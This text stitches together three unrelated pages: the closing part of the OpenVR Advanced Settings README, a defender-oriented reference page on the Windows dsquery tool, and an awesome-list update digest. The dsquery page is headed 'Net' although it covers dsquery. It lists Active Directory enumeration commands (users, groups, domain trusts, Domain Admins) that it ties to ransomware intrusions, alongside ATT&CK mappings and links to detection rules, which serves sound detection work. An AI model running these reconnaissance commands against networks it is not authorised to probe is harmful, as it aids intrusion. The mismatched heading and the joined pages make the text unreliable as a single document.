`"--reset-steamvr-settings"`: Resets the SteamVR settings we adjust to Steam's Default Values.
## INI File Options
There are some features that can only be enabled by directly specifying them in the .ini file. On windows the .ini file can be found at `Users\username\AppData\Roaming\AdvancedSettings-Team\OpenVRAdvancedSettings.ini`.
When adding options to the .ini file, they must be added under the correct section to function.
Currently the following ini-file-only settings exist:
Under `[playspaceSettings]` adding `showLogMatricesButton=true` will enable a button in the Offsets Tab that when pressed will write a section to the log file containing the current pose matrix data for tracked devices and universe settings.
Also under `[playspaceSettings]` adding `simpleRecenter=true` will disable a workaround that allows seated recenter to function on non-lighthouse devices. The workaround instantly applies a second seated recenter whenever a seated recenter is executed. Because simpleRecenter=true will break non-lighthouse seated mode, and true/false behavior is indistinguishable on lighthouse devices, usage of simpleRecenter=true is not recommended.
Under `[utilitiesSettings]` adding `vrcDebug=true` will enable some buttons in the Utilities Tab to toggle debug panels in VRChat.
Under `[applicationSettings]` adding `enableDebug=true` will show a "Debug State" text box in the Settings Tab. Changing the debug state number may be used for in-dev branch builds. At this time, it doesn't do anything on the master build.
## Preview builds
If you want to try latest and greatest unreleased features, you can download the latest from the CI (Continuous Integration) server for [Windows](https://ci.appveyor.com/project/OVRAdvancedSettings/openvr-advancedsettings/branch/master)and [Linux](https://circleci.com/gh/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings) (`gcc` build, CircleCI issue requires login to see artifact tab).
These version are not stable and this should be considered for advanced users only.
## Un-Installing
### Windows
- Automatically
- Run the un-installer, It should be wherever you isntalled OVRAS
- Semi-Manually
- Run AdvancedSettings.exe with the command --force-remove-manifest
- delete install directory
- (optional) delete logs and settings `%appdata%/AdvancedSettings-Team` (`C:\Users\<username>\AppData\Roaming\AdvancedSettings-Team`)
- Manually
- go to steam install/config directory (C:\Program Files (x86)\Steam\config by default)
- edit the appconfig.json to remove the path pointed to Advanced Settings (`C:\\Program Files\\OpenVR-AdvancedSettings\\manifest.vrmanifest` by default)
- delete install folder, settings and log files manually
# Documentation
## Top Page
<img src="docs/screenshots/RootPage.png" width="600" alt="Root Page">
- **Video Profile**: Allows to apply Video profiles. Profiles can be created on the Video page
- **Chaperone Profile**: Allows to apply chaperone profiles. Profiles can be created on the Chaperone page
- **Microphone**: Allows to set the microphone volume and to mute/unmute it.
- **Push-to-Talk**: Enable/disable push-to-talk.
## - SteamVR Page
<img src="docs/screenshots/SteamVRPage.png" width="600" alt="SteamVR Page">
- **Misc**
- **Enable Timing Overlay**: Enables a simple Timing overlay, locked to HMD currently.
- **Allow Multiple Drivers**: Allows multiple Drivers to be loaded allowing multi-device setups (i.e. rift with vive trackers).
- **Disable Notifications**: Disables Notifications (pop-ups) while in VR.
- **Enable System Button Binding**: Allows System Button to be bound and used in any app. (you will probably want to change the bindings in "VR Compositor")
- **No Fade to Grid**: When app goes non-responsive, you will not fade to grid.
- **Camera** (all checkboxes require restart)
- **Enable Camera**: Enables Camera Features
- **Camera for Bounds**: Your camera view will replace your vr view as you near/exit chaperone
- **Camera for Dashboard**: You will have a small camera view attached to your controller when you have the dashboard active.
- **Camera for Room View**: You will have a Tron/Shadow version of the room when double-clicking system button.
- **Binds**
- **Enable Per-App**: Enables Per App Binding Feature
- **Application**: Application to set Per app Bindings
- **Common Overlay App Keys**
- (default) [OVR Advanced Settings](https://store.steampowered.com/app/1009850/OVR_Advanced_Settings/) = steam.overlay.1009850
- [OVR Toolkit](https://store.steampowered.com/app/1068820/OVR_Toolkit/) = steam.overlay.1068820
- [XSOverlay](https://store.steampowered.com/app/1173510/XSOverlay/) = steam.overlay.1173510
- [Desktop +](https://store.steampowered.com/app/1494460/Desktop/) = steam.overlay.1494460
- [fpsVR](https://store.steampowered.com/app/908520/fpsVR/) = steam.overlay.908520
- [LIV](https://store.steampowered.com/app/755540/LIV/) = steam.overlay.755540
- **Open Bindings**: another shortcut to the SteamVR Binding Menu
- **Save Current Binding of Selected App**:
- **For Current Game**: Saves your Current Binding of the selected game to be used on a per-app basis for this game.
- **As Default**: Saves your Current Binding of the selected game to be used if no other bindings are found when a new game loads.
- **Restart SteamVR**: Restart SteamVR (May crash the Steam overlay when SteamVR Home is running when you restart. Therefore I advice that you close SteamVR Home before restarting).
## - SteamVR Pair Page
<img src="docs/screenshots/SteamVRPairPage.png" width="600" alt="SteamVR Pair Page">
- **Status**: Will display "ready to pair", "pairing...", "success", or "Timeout" based on current status of pairing
- **dongles used**: Displays the Number of Lighthouse/Watchman/SteamVR Dongles attached to the system, and amount currently in use.
- **Refresh Device List**: Refreshes the list of attached devices
- **Device Information**
- **Device**: Displays type of device, and roles if any assigned
- **Device ID**: Displays a unique ID for the Device this **IS NOT** the serial number, but an identifier of the Transmitter in the device.
- **Connected Dongle Type**: Displays whether the dongle is a headset dongle, Tundra Dongle, or a Standard Dongle (htc/flashed steam controller/Unknown)
- **Dongle ID**: Unique ID for the radio of the dongle.
- **Pair**: Attempts to pair the device to the selected dongle.
**Note:** Pairing mode varies per controller see [Pairing Cheat Sheet (text)](docs/pairing_guide.md).
## - Chaperone Page
<img src="docs/screenshots/ChaperonePage.png" width="600" alt="Chaperone Page">
- **Profile**: Allows to apply/define/delete chaperone profiles that save geometry info, style info or other chaperone settings.
- **Visibility**: Allows to configure the visibility of the chaperone bounds. 30% to 100% opacity.
- **Fade Distance**: Allows to configure the distance at which the chaperone bounds are shown. (When set to 0 chaperone bounds are completely invisible.)
- **Height**: Allows to configure the height of the chaperone bounds.
- **Center Marker**: Displays a marker that represents the center of the playspace.
- **Play Space Maker**: Displays the outlines of the rectangle representing the playspace.
- **Force Bounds**: Force chaperone bounds always on.
- **Disable Chaperone**: Disables Chaperone by setting fade distance to 0.0.
- **Proximity Warning Settings**: Opens a page that allows to configure several warning methods for when the user comes too close to the chaperone bounds.
- **Rotate Orientation**: Rotates the orientation by a set amount.
- **Reload from Disk**: Reloads the chaperone bounds geometry from disk.
## - Additional Chaperone Settings Page
<img src="docs/screenshots/ChaperoneAdditionalPage.png" width="600" alt="Chaperone Additional Page">
- **Chaperone Color**: Adjust the R, G, and B color channels of the chaperone.
- **Chaperone Styles**: Adjust the appearance of the Chaperone.
- **Misc:**
- **Floor Bounds Always On**: Forces floor bounds to always show.
- **Legacy Center Marker**: Old Center Marker, does not move with motion or indicate rotation.
- **Reset Turn Counter**: Re-zero's turn counter for center marker turn indicators, based on current HMD orientation.
## - Chaperone Proximity Warning Settings Page
<img src="docs/screenshots/ChaperoneWarningPage.png" width="600" alt="Chaperone Proximity Warning Settings Page">
- **Switch to Beginner Mode**: Switches the chaperone bound's style to beginner mode when the user's distance to the chaperone falls below the configured activation distance.
- **Trigger Haptic Feedback**: The left and right controller start vibrating when the user's distance to the chaperone falls below the configured activation distance. (HMD or controllers can trigger)
- **Audio Warning**: Plays an alarm sound when the user's distance to the chaperone falls below the configured activation distance.
- **Loop Audio**: Whether the audio alarm should only be played once or in a loop.
- **Loop Audio**: Modify audio volume as a function of the user's distance to the chaperone.
- **Open dashboard**: Opens the dashboard when the user's distance to the chaperone falls below the configured activation distance. The idea is to pause the game (most single-player games auto-pause when the dashboard is shown) to give the user time for reorientation.
## - Space Offset Page
<img src="docs/screenshots/OffsetPage.png" width="600" alt="Space Offsets Page">
Allows users to temporarily move and rotate the center of the playspace. This allows reaching interaction elements that are just outside our real-world walls or otherwise inaccessible (e.g. when your playspace is smaller than the recommended one). Can also be used to discover the terrors that lie outside of the intended playspace (ever wondered what's behind the door in The Lab?).
- **Adjust Chaperone**: When enabled, the chaperone bounds stay accurate even when the playspace is moved or rotated (so noone gets hurt). Depending on chaperone mode this may or may not adjust with height.
- **Seated Recenter**: When clicked, applies the current location and angle of the headset to the offsets such that the user is brought to a centered position. Also applies the current headset height to the default seated height (not visible in offsets). This action will also be activated automatically when a seated application sends a reset center command. *Note: This button is only visible when running seated applications.*
## - Motion Page
<img src="docs/screenshots/MotionPage.png" width="600" alt="Motion Page">
- **Space Drag**: Allows shifting your playspace by dragging your controller, Binds must be set via SteamVR Input system.
- **Left/Right Hand**: Toggles functionality (must be active in addition to binding via input system to work.)
- **Comfort Mode**: Limits the rate at which your movement updates, reducing smoothness so that perceived motion starts to feel more like mini-teleports. Higher values reduce smoothness more.
- **Force Bounds**: Forces the display of the chaperone bounds during Space Drag.
- **Ignore Boundary State**: Will for this session, ignroe the current state of the chaperone(boundary), this should improve compatibility with third party hmd's
- **Drag Multiplier**: Adds a Multiplier to the distance of your drag.
- **Height Toggle**: Toggle between zero and an offset for gravity floor height. If gravity is inactive the user is also moved to this offset. (Example: allows for quick switching between a seated and standing height.) Can be bound via SteamVr Input System.
- **On**: Current toggle state, Binds directly modify this.
- **Height Offset**: The amount of the offset (+ is down.)
- **Set From Y-Offset**: grabs the Y-Offset value from Offset Page.
- **Gravity Settings**: Provides a gravity and momentum simulation to dynamically move your space offset.
- **On**: Current toggle state, Binds directly modify this.
- **Gravity Strength**: Gravity simulation's downward acceleration in meters per second squared. Planet buttons provide quick settings for well known gravity strengths. Values can also be typed in directly.
- **Friction**: Slows down motion over time.
- **Save Momentum**: whether your momentum is saved between on/off toggles of gravity.
- **Fling Strength**: adjusts the strength at which you "throw" yourself with space drag feature.
## - Rotation Page
<img src="docs/screenshots/RotationPage.png" width="600" alt="Rotation Page">
- **Auto Turn**: Automatically rotates your playspace when you get near a wall, by rotating the direction you're looking to be inside your playspace, parallel to a wall.
- **Toggle On/Off**: current state, bind directly modifies this.
- **Activation Distance**: How far from the wall before Autoturn activates.
- **DeActivation Distance**: The minimum distance (activation + deactivation) you must be from the wall before autoturn will activate again.
- **Use Corner Angle**: When already against a wall and reaching a corner, turn the angle of that corner rather than the angle of your headset to the wall (reccomended)
- **Use Smooth Turn**: Toggles between a smooth turn and a snap turn.
- **Turn Speed**: How fast you rotate in Degrees per second. Use more for a more comfortable experience, less for natural movement in social/physical VR games.
- **Detangle Angle**: Settings attempting to keep your cord untangled while using the Auto-Turn feature.
- **Min Rotations(deg)**: The amount of rotation before Auto-Turn starts to try and un-tangle your cord.
- **Max Wall Angle(deg)**: When the angle of your headset to the wall is less than Max Wall Angle, it will turn you whichever way will start to untangle your cord. Otherwise it will turn you whichever way is closest. Set to '0' if you have a cordless setup
- **Redirected Walking**: Adds rotation as you walk to turn you away from the nearest wall you're moving towards. At 'Imperceptable' and 'Slight' angles should be subtle enough to feel as if you're walking in a straight line, effectively making your playspace feel bigger.
- **On**: Toggles Feature on/off
- **Radius**: Radius in meters of how big a circle would be drawn to keep you walking in a straight line inside a game.
- **View Ratchetting**: Steers you away from your nearest wall by rotating your world more than you turn in Real Life, based on head movements.
- **Slider**: Amplification percent 0 = no amplification, .10 means 10% (direct input up to 1.0).
- **Space Turn**: Allows rotating your playspace by rotating your controller. Binds must be set via SteamVR Input system.
- **Left/Right Hand**: Toggles functionality (must be active in addition to binding via input system to work.)
- **Comfort Mode**: Limits the rate at which your rotation updates, reducing smoothness so that perceived rotation starts to feel more like mini-snap-turns. Higher values reduce smoothness more.
- **Force Bounds**: Forces the display of the chaperone bounds during Space Turn.
- **Snap Turn Angle**: Allows snap (instant) turning by the specified angle. Can type in values or use the preset buttons for angles that neatly divide 360 degrees. Must bind actions via SteamVR Input interface.
- **Smooth Turn Rate**: Allows smooth turning by a percentage of a degree per frame. (i.e. 100% at 90fps is 90 degress/sec or 15 RPM)
## - Space Fix Page
<img src="docs/screenshots/FloorFixPage.png" width="600" alt="Space Fix Page">
- **Fix Floor** Allows you to fix the height of your floor. Just place one controller on your floor and press the button.
- **Recenter Playspace** Besides fixing the floor height, also recenters the place space around the controller on the floor.
- **Apply Space Settings Offsets as Center** Takes current values from Offsets page and re-caliberates center/rotation. **Caution** The reset function will then refer to this location as the new zero location, overriding the old zero location.
- **Revert All Changes from This Session** Reverts the chaperone config back to the state it was in when launching vr. (This applies the Autosaved Profile from the Chaperone Tab).
## - Audio Page
<img src="docs/screenshots/AudioPage.png" width="600" alt="Audio Page">
- **Playback Device**: Allows to select the playback device.
- **Toggle Override**: Allows you to select a playback device instead of HMD's audio.
- **Mirror Device**: Allows to select the mirror device, set its volume and to mute/unmute it.
- **Microphone**: Allows to select the microphone device, set its volume and to mute/unmute it.
- **Toggle Override**: Allows you to select a recording device instead of HMD's microphone.
- **Proximity Sensor Mutes/Unmutes Microphone**: Uses the HMD's proximity Sensor to mute the mic when it is removed from your head, PTT works with this feature, But you will be un-able to manually mute/un-mute your mic via icon.
- **Push-to-Talk**: Enable/disable push-to-talk. When push-to-talk is activated the microphone gets muted unless the Push To Talk action is activated.
- **Show Notification**: Shows a notification icon in the headset when the Push To Talk action is activated.
- **Push-to-Mute**: Inverse push-to-talk. The Microphone is unmuted by default and muted when the keybind is pressed.
- **NOTE**: The Push-to-talk box must be enabled for this feature to work.
- **Audio Profile**: **Disabled for 4.0.0 / OpenVR 1.8.19 due to bugs in API** ~~Allows you to apply/define/delete audio profiles that save playback devices, mute state, and volume.~~
## - Video Page
<img src="docs/screenshots/VideoPage.png" width="600" alt="Video Page">
- **Brightness**: Allows Dimming of your view.
- **On/Off**: Toggles The Dimming on/off.
- **Brightness**: The amount of dimming.
- **Note**: Does not necessarily reduce light output of HMD will vary based on panel type etc.
- **Color Adjustment**: Allows Adjusting of the Color of your display.
- **<Color>**: Adjusts the Gain to adjust color. (This works for Valve Index, Vive, and Vive Pro) If your headset does not support gain adjustment please see **Use Overlay For Color**.
- **SuperSampling**: Adjusts application super sampling values (requires refresh of dashboard, and/or restart of SteamVR/OpenVR).
- **Toggle Override**: allows user configureable amount different than recommended value.
- **Video Profiles**: allows Users to save their settings and apply quickly via a drop down menu.
- **Misc**:
- **Motion Smoothing**: Enables/Disables Motion Smoothing.
- **Advanced SS Filtering**: Enables/Disables Texture filtering to allow better textures at long distances. (default is on)
- **Use Overlay for Color**: Use an Overlay for Color Adjustment rather than Gain (works with all HMD's, replaces Brightness and Color Adjustment)
<img src="docs/screenshots/VideoOverlay.png" width="600" alt="Overlay Override">
- **Brightness**: Same as regular.
- **Opacity**: Adjusts opacity of color overlay.
- **Toggle On/Off**: Turns on/off Color Adjustment Overlay.
- **Color (Red/Green/Blue)**: Adjusts the overlay to adjust the color.
## - Utilities Page
<img src="docs/screenshots/UtilitiesPage.png" width="600" alt="Utilities Page">
- **Keyboard Utilities:** Some applications (mostly 2D-monitor applications with tackled-on/modded-in VR support) do not support the VR keyboard but require an actual physical keyboard for text input. This utilities allow to send emulated key strokes from VR keyboard input to such application to overcome this limitation. Does not work in desktop mode. Adding vrcDebug=true to [utilitiesSettings] in the OpenVRAdvancedSettings.ini will display some buttons for VRChat debug overlay keybinds. The "Keyboard Input" button works as described [here](docs/specs/Keyboard_Manager-Parser_Spec.md).
- **Alarm Clock:** Just a simple alarm clock so you don't miss important appointments. VR can sure mess up perception of time. Does not work in desktop mode.
- **Media Control Keys:** Allows controlling a media player through the media keys. This is the same as having a keyboard with media keys and then pressing them. Should support most common media players.
## - Statistics Page
<img src="docs/screenshots/StatisticsPage.png" width="600" alt="Statistics Page">
- **HMD Distance Moved**: Shows the distance the headset has moved on the xz-plane.
- **HMD Rotations**: Shows the number of rotations around the y-axis (Useful for untangling the cord).
- **Left Controller Max Speed**: Shows the max speed of the left controller.
- **Right Controller Max Speed**: Shows the max speed of the right controller.
- **Presented Frames**: Number of frames presented to the hmd in the currently running application.
- **Dropped Frames**: Number of frames dropped in the currently running application.
- **Reprojected Frames**: Number of frames reprojected in the currently running application.
- **Timed Out**: Number of times the currently running application timed out.
- **Reprojection Ratio**: Ratio of presented frames to reprojected frames.
## - Settings Page
<img src="docs/screenshots/SettingsPage.png" width="600" alt="Settings Page">
- **Autostart:** Allows you to enable/disable auto start.
- **Allow External App Chaperone Edits:** Incorporates changes to the chaperone and universe center made by other applications. These changes could come from anywhere, including apps with unpredictable interactions with Advanced Settings. Therefore, this option opens the potential for chaperone misalignment or corruption. However it also allows other chaperone tweaking tools to function in tandem with Advanced Settings. **This option should only be checked if required for compatibility with other apps.** *Note: Changes will only take effect when offsets and rotation are all zero.*
- **Old-Style Motion:** Uses the old system of writing the chaperone universe center and bounds to disk every frame. Use this option only if you experience issues with playspace motion such as snapping back to reset position after releasing a space-drag. This old mode is smooth on most systems but is in theory less performant than the normal method.
- **Universe-Centered Rotation:** Causes Rotation to be applied to Universe Center Rather than HMD (Disables offsets automatically compensating to pivot at the HMD).
- **Enable Automatic Crash Recovery of Chaperone Config:** This applies the last good autosaved chaperone profile when starting up after not shutting down properly.
- **Disable Notification of Newer Version Availability**: This turns off the on start-up check for a new version. (You can refresh this to do a manual check.)
- **Force Use SteamVR Chaperone**: This feature is currently beta, when using third party headsets this will allow you to use SteamVR's chaperone, as if it was a native headset.
- **Auto Apply Chaperone Profile**: This feature automatically applies a chaperone profile on launch, this pairs well with the "Force Use SteamVR Chaperone" option.
- **Force Use SteamVR (Disable Oculus API)**: This feature is currently experimental, it should disable Oculus API preventing games with both SteamVR and Oculus API to only run as SteamVR
- **Exclusive Input Toggle**: This feature Enables Exclusive Input Mode, while in this mode you will only send OVRAS keybinds or App keybinds (OVRAS system keybinds will always work)
- **Disable App Vsync:** Allows setting a custom base update rate for Advanced Settings. (Might be useful on HMDs with very high or very low refresh rates).
- **Shutdown OVRAS** Shuts-Down Advanced Settings without closing out of VR.
# How to Compile
## Building on Windows
Full build instructions can be found [here](docs/building_for_windows.md).
## Building on Linux
Full build instructions can be found [here](docs/building_for_linux.md).
# Notes:
- The center marker and the play space marker are provided by the chaperone subsystem, and therefore they will have the same color and visibility settings as the chaperone bounds.
- Application autostart can also be configured in the SteamVR menu (SteamVR->Settings->Applications->"Advanced Settings").
- You can modify the shutdown wait time when restarting SteamVR by opening restartvrserver.bat and changing the number behind "timeout /t" (unit is seconds).
- When Using Proximity Sensor Features while the Dashboard is up the action will not evaluate, so your mic will be muted, and some chaperone warnings won't work while dashboard is up.
# Common Issues:
- **Issue:** Upon clicking ADV-Settings icon no page shows up.
- **Cause:** related to multiple GPU systems Displaying OpenGL on low power GPU first (IGPU's primarily) [some programs such as alvr may also cause this issue]
- **Solution for Nvidia GPU's:** go to Nvidia Control Panel -> manage 3D settings -> Program Settings -> add Advanced Settings, and change `OpenGL Rendering GPU` to the GPU your VR is connected to.
- **Solution for Windows (1803+):** go to Settings -> System -> Display -> Select `Classic App` and Browse for `AdvancedSettings.exe` -> Click Options -> Select High Performance
- **Issue:** Snap back when using motion controls with WMR headset
- **Cause:** WMR boundary off, or set up for standing only.
- **Solution:** Please set-up WMR for all experiences, and then if you don't want WMR boundary you can toggle off the boundary **after** SteamVR/OpenVR has been started.
- **Issue:** While using Trackers (additional devices besides controllers) Keybinds don't work.
- **Cause:** Trackers can Assume controller roles, and prevent your controllers from working properly.
- **Solution:** Assign Tracker Roles Via SteamVR Widget to anything besides `held-in-hand`
- **Issue:** Custom Key Presses Not Saving In file.
- **Cause:** Key Presses Modified while Advanced Settings is running.
- **Solution:** Only modify the settings file while VR/Advanced Settings is **not** running.
# License
This software is released under GPL 3.0, and other third-party Licenses
|
# Net
## Table of Contents
- [Net](#net)
- [Table of Contents](#table-of-contents)
- [Acknowledgement(s)](#acknowledgements)
- [Description](#description)
- [Versions History](#versions-history)
- [File Metadata](#file-metadata)
- [Common CommandLine](#common-commandline)
- [Threat Actor Ops (TAOps)](#threat-actor-ops-taops)
- [Common Process Trees](#common-process-trees)
- [Default Install Location](#default-install-location)
- [DFIR Artifacts](#dfir-artifacts)
- [Examples In The Wild](#examples-in-the-wild)
- [Documentation](#documentation)
- [Blogs / Reports References](#blogs--reports-references)
- [ATT&CK Techniques](#attck-techniques)
- [Telemetry](#telemetry)
- [Detection Validation](#detection-validation)
- [Detection Rules](#detection-rules)
- [LOLBAS / GTFOBins References](#lolbas--gtfobins-references)
## Acknowledgement(s)
- 3CORESec - [@3CORESec](https://twitter.com/3CORESec)
- Nasreddine Bencherchali - [@nas_bench](https://twitter.com/nas_bench)
## Description
> **Dsquery is a command-line tool that queries the directory by using search criteria that you specify** — [MSDN](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11))
## Versions History
- TBD
## File Metadata
- TBD
## Common CommandLine
```batch
dsquery subnet -limit 0
dsquery computer -limit 0
dsquery user -limit 0
dsquery group -limit 0
dsquery * -filter "(objectClass=trustedDomain)" -attr *
dsquery group -name "Domain Admins"
```
## Threat Actor Ops (TAOps)
- TBD
## Common Process Trees
- TBD
## Default Install Location
```batch
C:\Windows\System32\dsquery.exe
```
## DFIR Artifacts
- TBD
## Examples In The Wild
- [ANY.RUN - 3dtap.exe](https://app.any.run/tasks/613cde47-a250-46af-8c15-d1b8e096b625/)
## Documentation
- [Microsoft Docs - Dsquery](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11))
- [SS64.com - Windows CMD - Dsquery](https://ss64.com/nt/dsquery.html)
## Blogs / Reports References
- [The DFIR Report - Conti Ransomware](https://thedfirreport.com/2021/05/12/conti-ransomware/)
- [Palo Alto Networks - Unite 42 - Actor Exploits Microsoft Exchange Server Vulnerabilities, Cortex XDR Blocks Harvesting of Credentials](https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/)
- [Palo Alto Networks - Unite 42 - xHunt Campaign: xHunt Actor’s Cheat Sheet](https://unit42.paloaltonetworks.com/xhunt-actors-cheat-sheet/)
- [Palo Alto Networks - Unite 42 - xHunt Campaign: Attacks on Kuwait Shipping and Transportation Organizations](https://unit42.paloaltonetworks.com/xhunt-campaign-attacks-on-kuwait-shipping-and-transportation-organizations/)
- [Microsoft Security Blog - Analyzing attacks taking advantage of the Exchange Server vulnerabilities](https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/)
- [Specterops - An Introduction to Manual Active Directory Querying with Dsquery and Ldapsearch](https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb)
## ATT&CK Techniques
- [T1069.002 - Permission Groups Discovery: Domain Groups](https://attack.mitre.org/techniques/T1069/002/)
- [T1087.002 - Account Discovery: Domain Account](https://attack.mitre.org/techniques/T1087/002/)
- [T1482 - Domain Trust Discovery](https://attack.mitre.org/techniques/T1482/)
## Telemetry
- [Security Event ID 4688 - A new process has been created](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688)
- [Sysmon Event ID 1 - Process creation](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90001)
- [PsSetCreateProcessNotifyRoutine/Ex](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex)
- [ETW - Microsoft-Windows-Kernel-Process - Event ID 1 - ProcessStart](https://github.com/nasbench/EVTX-ETW-Resources)
## Detection Validation
- **Red Canary - Atomic Red Team**
- [Discover domain trusts with dsquery](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md)
- **Uber - Metta**
- [Account discovery commands via net, dsquery, wmic](https://github.com/uber-common/metta/blob/master/MITRE/Discovery/discovery_win_account.yml)
## Detection Rules
- **Splunk**
- [DSQuery Domain Discovery](https://research.splunk.com/endpoint/dsquery_domain_discovery/)
- [Domain Group Discovery With Dsquery](https://research.splunk.com/endpoint/domain_group_discovery_with_dsquery/)
- [Remote System Discovery with Dsquery](https://research.splunk.com/endpoint/remote_system_discovery_with_dsquery/)
- [Domain Account Discovery with Dsquery](https://research.splunk.com/endpoint/domain_account_discovery_with_dsquery/)
- **Sigma**
- [Domain Trust Discovery](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_trust_discovery.yml)
## LOLBAS / GTFOBins References
- None
|
# Awesome List Updates on Oct 09, 2019
20 awesome lists updated today.
[🏠 Home](/README.md) · [🔍 Search](https://www.trackawesomelist.com/search/) · [🔥 Feed](https://www.trackawesomelist.com/rss.xml) · [📮 Subscribe](https://trackawesomelist.us17.list-manage.com/subscribe?u=d2f0117aa829c83a63ec63c2f&id=36a103854c) · [❤️ Sponsor](https://github.com/sponsors/theowenyoung)
## [1. Awesome Raspberry Pi](/content/thibmaek/awesome-raspberry-pi/README.md)
### Projects
* [StreamPi](https://stream-pi.com/) - A robust alternative to the Elgato Stream Deck, that can launch apps, scripts, websites and control applications like OBS.
## [2. Magictools](/content/ellisonleao/magictools/README.md)
### Books / Voxel Editors
* [Learn OpenGL: Beginner's guide to 3D rendering and game development with OpenGL and C++](https://www.amazon.de/Learn-OpenGL-Beginners-rendering-development/dp/1789340365/ref=sr_1_1_sspa?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91\&keywords=OpenGl+3d+game\&qid=1570646865\&sr=8-1-spons\&psc=1\&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUExTzM3UzZDT1ZYUzdCJmVuY3J5cHRlZElkPUEwMDIzMjkxMzJENlFTWkJNQzVCNCZlbmNyeXB0ZWRBZElkPUEwMzgyNTgzMUdUOElZTUtNUjlONCZ3aWRnZXROYW1lPXNwX2F0ZiZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU=)
## [3. Public Apis](/content/public-apis/public-apis/README.md)
### Dictionaries
- API: [Lingua Robot](https://www.linguarobot.io)
Description: Word definitions, pronunciations, synonyms, antonyms and others
Auth: `apiKey`
HTTPS: Yes
CORS: Yes
## [4. Awesome Parasite](/content/ecohealthalliance/awesome-parasite/README.md)
### Scientific Journals
* [Annals of Parasitology](https://annals-parasitology.eu/go.live.php/PL-H54/archive.html) - Open-access scientific journal of the Polish Parasitological Society, formerly *Wiadomości Parazytologiczne*, that publishes issues quarterly. Open archives start from 2002.
## [5. Awesome Creative Coding](/content/terkelg/awesome-creative-coding/README.md)
### Frameworks • Libraries • Ecosystems
* [Phaser](https://phaser.io/) \[Cross-platform] - HTML5 framework for building games, uses both a Canvas and WebGL renderer.
## [6. Awesome Software Architecture](/content/simskij/awesome-software-architecture/README.md)
### Methodology / Scalability and Resilience
* [Technical Debt, by Fowler](https://martinfowler.com/bliki/TechnicalDebt.html) - Cost and impact of accumulating technical debt.
## [7. Awesome Pascal](/content/Fr0sT-Brutal/awesome-pascal/README.md)
### Math
* [CAI NEURAL API (⭐287)](https://github.com/joaopauloschuler/neural-api). `[FPC]` `[Delphi]` Cross-platform Neural Network API optimized for AVX, AVX2 and AVX512 instruction sets plus OpenCL capable devices including AMD, Intel and NVIDIA.
## [8. Awesome React Native](/content/jondot/awesome-react-native/README.md)
### UI
* [react-native-modern-datepicker ★12 (⭐400)](https://github.com/HosseinShabani/react-native-modern-datepicker) - React Native Modern Datepicker
## [9. Awesome Pixel Art](/content/Siilwyn/awesome-pixel-art/README.md)
### Tutorials / Color
* [Moawling's color palette process](https://twitter.com/i/moments/948249159425056769)
## [10. Awesome Javascript](/content/sorrycc/awesome-javascript/README.md)
### Reactive Programming / Runner
* [RxJS (⭐29k)](https://github.com/ReactiveX/rxjs) - A reactive programming library for JavaScript.
## [11. Awesome Wordpress Gatsby](/content/henrikwirth/awesome-wordpress-gatsby/README.md)
### Communities
* [Stack Overflow](https://stackoverflow.com/questions/tagged/gatsby)
## [12. Awesome Quantum Computing](/content/desireevl/awesome-quantum-computing/README.md)
### MOOCs
* [Quantum Computing: Theory to Simulation and Programming](https://www.udemy.com/course/quantum-computing/) - Understanding the D-Wave Quantum Annealer architecture along with a few practical tasks.
## [13. Awesome Firebase](/content/jthegedus/awesome-firebase/README.md)
### Official Docs & Quickstarts
* 📖 [Firebase Documentation](https://firebase.google.com/docs) - Official Firebase Documentation.
* 🔧 [Firebase Status Dashboard](https://status.firebase.google.com) - This page provides status information on the services that are part of Firebase.
* 💡 [Firebase Quickstarts](https://github.com/firebase?utf8=%E2%9C%93\&q=quickstart\&type=\&language=) - Official Firebase Quickstarts.
* 💡 [Google Codelabs | Firebase](https://codelabs.developers.google.com/?cat=Firebase) - Google Developers Codelabs provide a guided, tutorial, hands-on coding experience.
### Web
* 🔌 [Firebase UI (⭐4.2k)](https://github.com/firebase/firebaseui-web) - FirebaseUI is an open-source JavaScript library for Web that provides simple, customizable UI bindings on top of Firebase SDKs to eliminate boilerplate code and promote best practices.
* 🔌 [Firebase UI for React (⭐1.2k)](https://github.com/firebase/firebaseui-web-react) - React Wrapper for firebaseUI Web.
* 🔌 [GeoFire for JavaScript (⭐1.4k)](https://github.com/firebase/geofire-js) - Realtime location queries with Firebase.
* 💡 [FirePad (⭐3.8k)](https://github.com/FirebaseExtended/firepad) - Collaborative Text Editor Powered by Firebase.
* 🔌 [Ember Fire (⭐692)](https://github.com/firebase/emberFire) - Official Ember data adapter for Firebase.
* 🔌 [Firebase Dart (⭐411)](https://github.com/FirebaseExtended/firebase-dart) - Dart wrapper for Firebase.
* 🔌 [PolymerFire (⭐459)](https://github.com/FirebaseExtended/polymerfire) - Polymer Web Components for Firebase.
* 🔌 [VueFire (⭐3.5k)](https://github.com/vuejs/vuefire) - Firebase bindings for Vue.js.
* 🔌 [Angular Fire 2 (⭐7.4k)](https://github.com/angular/angularfire2) - Official library for Firebase and Angular.
* 🔌 [Re-base (⭐2.1k)](https://github.com/tylermcginnis/re-base) - Relay inspired library for building React.js + Firebase applications.
* 🔌 [React Redux Firebase (⭐2.5k)](https://github.com/prescottprue/react-redux-firebase) - Redux bindings for Firebase. Includes Higher Order Component for use with React.
* 🔌 [GatsbyJS Firebase Data Source](https://www.gatsbyjs.org/packages/) - Query your Firebase data right into your statically generated pages with Gatsby.
